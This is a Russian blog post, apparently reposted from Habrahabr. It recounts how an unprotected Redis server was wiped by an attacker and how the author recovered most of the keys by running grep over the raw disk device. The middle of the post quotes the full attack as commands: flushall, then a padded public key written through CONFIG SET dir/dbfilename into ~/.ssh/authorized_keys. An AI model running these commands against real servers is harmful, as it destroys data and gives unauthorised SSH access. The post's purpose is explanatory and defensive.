Незащищенный Redis, или кто виноват?

от автора

imageОдин из разработчиков Redis опубликовал у себя в блоге статью A few things about Redis security («Немного о безопасности Redis»), в которой детально описал банальную, но, как оказалось, для многих критичную проблему хранения данных и обеспечения безопасности доступа к серверу. Для меня все было бы не так печально, если бы я сам не столкнулся с данной проблемой и, как следствие, не потерял данные. Под катом мы попытаемся разобраться почему это произошло и на моем примере исправить случившуюся ситуацию.

Наверняка, читатель знает или хотя бы слышал про Redis, но на всякий случай напомню, что это высокопроизводительное key-value хранилище (подброней можно почитать на wiki или тут). Начнем с того, что в документации говорится, что Redis должен быть доступен только внутри доверенного окружения, что с одной стороны правильно, так как обеспечением безопасности должен заниматься администратор системы, но с другой стороны об этом больше нигде предупреждеается.

Redis предоставляет некоторый базовый функционал для безопасной передачи данных внутри незащищенного соеденения. Но мы не будем останавливаться на этом подробно, добавлю только, что, как бы примитивно это не звучало, безопасностью нельзя принебригать и хотя бы использовать пароль. На это в документации также есть предупреждение:

Существует возможность контролировать настройки сервера используя CONFIG-команды для изменения рабочей дериктории или имени dump-файла. Это позволит клиетнам записывать RDB Redis файлы в любую папку, что является проблемой безопасности.

Kто-то воспользовался вышеупомянтой статьей и с помощью нехитрых манипуляций смог навредить достаточно большому количеству людей (это видно из комментариев к статье).

Атака происходит следующим образом (пример взят из статьи):

Прежде всего, нужно найти незащищенный Redis-сервер. Генерируем новый RSA-ключ. Создаем файл с пустыми строками вначале и вконце нашего RSA ключа:

$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > foo.txt 

Удаляем все ключи и записываем данные из файла:

$ redis-cli -h 192.168.1.11 flushall $ cat foo.txt | redis-cli -h 192.168.1.11 -x set crackit 

Теперь осталось записать данные из харнилища в файл authorized_keys

$ redis-cli -h 192.168.1.11 > config set dir /Users/antirez/.ssh/ OK > config get dir 1) "dir" 2) "/Users/antirez/.ssh" > config set dbfilename "authorized_keys" OK > save OK 

Готово. Если все прошло успешно, то мы стерли все данные из хранилища и теперь можем подключиться по ssh. Не очень приятно, правда? На самом деле это не конец и данные можно восстановить, даже если нет бекапа. Как раз об этом моя небольшая история ниже.

Наш проект реализован на Django и использует django-constance. Redis распологается на отдельном сервере, для того что бы несколько других проектов могли его использовать.

Одним прекрасным вечером мне начали приходить сообщения о странных ошибках. Когда выяснилось, что данных в Redis-хранилище нет, началсь небольшая паника.

Оказалось, что django-constance не найдя данных, заполнил все со стандартынми значениями, но этот факт еще больше запутывал происходящую ситуацию. Постепенно я начал осознавать, что бекапа ни у кого нет и на восстановление данных уйдет порядка двух дней, что никак не могло порадовать. Позже выяснилось, что после ухода предыдущего разработчика, у меня не осталось доступа к серверу, на котором расположен Redis, поэтому понять, в чем проблема сразу не получалась. Ситуация неприятная, но сдаваться было рано.

На этом проблемы не заканчивались и моему удивлению не было предела, когда я смог подключится к хранилищу без пароля, чем, судя по всему, и воспользовался злоумышленник. Внимание привлек странный ключ “crackit” и после недолгого гугления стало понятно, что кто-то воспользовался статьей указанной в самом начале.

Заодно решив проверить этот способ и получить доступ к серверу, я попробовал провести атаку, но права доступа на папку .ssh запрещали запись для пользователя redis(под которым сервер работает по умолчанию). Так я хотя бы удостоверерлся, что злоумышленик не получил полного доступа к серверу.

Восстановление

Перед тем как предпринять какие-либо действия, я сделал полный бекап жесткого диска, для того что бы оставить данные в первоначальном виде. Сразу пришла идея востановить удаленные данные с помощью какого-нибудь софта, но попробовав пару утилит, которые не принесли никаких результатов, я начал осозновать всю трагичность ситуации. По московскому времени уже было 4 утра, а на другой стороне планеты, где запущен проект, была уже середина рабочего дня и все ждали, когда проект заработает. Почти смирившись с тем, что данные восстановить не получится, я решил еще раз пройтись по возможным вариантам. И тут мне в голову пришла мысль, показавшаяся мне сначала довольно странной. А что если пройтись поиском по /dev/sda1?

Теория

В операционных системах Linux все устройства представляют собой файлы, расположенные в каталоге /dev/. Таким образом мы можем читать или передавать данные на устройство, работая с ним как с обычным файлом.

Соответственно данные, если они еще не затерлись, должны были остаться там. Вопрос как их найти тоже решился довольно быстро. Открыв файл Redis базы в текстовом редакторе, я увидел, что ключи и значения хранятся там в чистом виде. Все интересующие меня ключи начинались с “constance:” эту особенность и было решено использовать для поиска.

Не ожидав что это может сработать я выполнил команду grep -a ‘constance:’ /dev/sda1 и начал ждать. Мое удивление было велико, когда на экране стали появляться первые записи. Собрав и немного обработав результаты, я стал их анализировать. Хорошо, что за день до случившегося один из ключей был исправлен и был уникальным, а по нему уже было нетрудно найти и остальные валидные данные. Спустя 40 минут было восстановлено 135 ключей из 147. Осталось только не забыть добавить пароль в настройки Redis-сервера.

ссылка на оригинал статьи http://habrahabr.ru/post/270799/


Комментарии

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *